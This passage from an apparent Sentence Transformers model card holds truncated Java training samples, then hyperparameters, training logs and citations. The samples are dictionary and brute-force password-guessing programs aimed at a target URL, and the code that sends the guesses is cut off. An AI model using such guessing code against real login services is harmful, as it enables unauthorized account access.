| <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class BruteForce<br>{<br><br> public static void main(String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> char first, second, third;<br> String password="";<br> int requests=0;<br><br> <br> for (int i=65; i<123; i++)<br> {<br> requests++;<br> first = (char) i;<br><br> password = first + "";<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int j=65; j<123; j++)<br> {<br> requests++;<br> second = (char) j;<br><br> password = first + "" + second;<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int k=65; k<123; k++)<br> {<br> requests++;<br> third = (char) k;<br><br> password = first + "" + second + "" + third;<br><br> <br> if (test...</code> | <code><br><br>import java.misc.BASE64Encoder;<br>import java.misc.BASE64Decoder;<br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br><br>public class Dictionary {<br> <br> public Dictionary(String url, String dictionaryFile) {<br> try{<br> this.url = url;<br> this.dictionaryPath = dictionaryFile;<br> InputStream fis = new FileInputStream(this.dictionaryPath);<br> dict = new BufferedReader(new InputStreamReader(fis));<br><br> }catch(IOException ioe){<br> System.out.println("Error opening dictionary file:\n" +ioe);<br> }<br> }<br><br><br> <br> private String url = null;<br> <br> private String dictionaryPath = null;<br> <br> private BufferedReader dict = null;<br> <br> private int attempts = 0;<br> <br> private int passwordSize = 3;<br> <br> public void setPasswordSize(int size){<br> this.passwordSize = size;<br> }<br> <br> public String getNextPassword()throws IOException{<br><br> String line = dict.readLine();<br><br> while(line!=null&&line.length()!=this.passwordSize )<br> line = dict.readLine();<br><br> return line;<br> }<br> <br> publ...</code> |
* Loss: [<code>MultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#multiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim"
}
```
### Training Hyperparameters
#### Non-Default Hyperparameters
- `eval_strategy`: steps
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True
- `batch_sampler`: no_duplicates
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: steps
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: no_duplicates
- `multi_dataset_batch_sampler`: proportional
</details>
### Training Logs
| Epoch | Step | Training Loss | Validation Loss |
|:------:|:----:|:-------------:|:---------------:|
| 0.0414 | 100 | 1.0176 | 0.3260 |
| 0.0827 | 200 | 0.373 | 0.3260 |
| 0.1241 | 300 | 0.376 | 0.2971 |
| 0.1655 | 400 | 0.3419 | 0.3132 |
| 0.2069 | 500 | 0.3402 | 0.2920 |
| 0.2482 | 600 | 0.3441 | 0.2975 |
| 0.2896 | 700 | 0.3337 | 0.3587 |
| 0.3310 | 800 | 0.3432 | 0.2844 |
| 0.3724 | 900 | 0.3338 | 0.2810 |
| 0.4137 | 1000 | 0.3349 | 0.2990 |
| 0.4551 | 1100 | 0.3172 | 0.2890 |
| 0.4965 | 1200 | 0.3191 | 0.2753 |
| 0.5379 | 1300 | 0.3122 | 0.2780 |
| 0.5792 | 1400 | 0.3169 | 0.2759 |
| 0.6206 | 1500 | 0.3137 | 0.2736 |
| 0.6620 | 1600 | 0.3107 | 0.2651 |
| 0.7034 | 1700 | 0.2981 | 0.2752 |
| 0.7447 | 1800 | 0.3173 | 0.2687 |
| 0.7861 | 1900 | 0.2996 | 0.2692 |
| 0.8275 | 2000 | 0.2877 | 0.2695 |
| 0.8688 | 2100 | 0.2953 | 0.2752 |
| 0.9102 | 2200 | 0.289 | 0.2694 |
| 0.9516 | 2300 | 0.2741 | 0.2651 |
| 0.9930 | 2400 | 0.3358 | 0.2605 |
### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### MultipleNegativesRankingLoss
```bibtex
@misc{henderson2017efficient,
title={Efficient Natural Language Response Suggestion for Smart Reply},
author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil},
year={2017},
eprint={1705.00652},
archivePrefix={arXiv},
primaryClass={cs.CL}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
--> |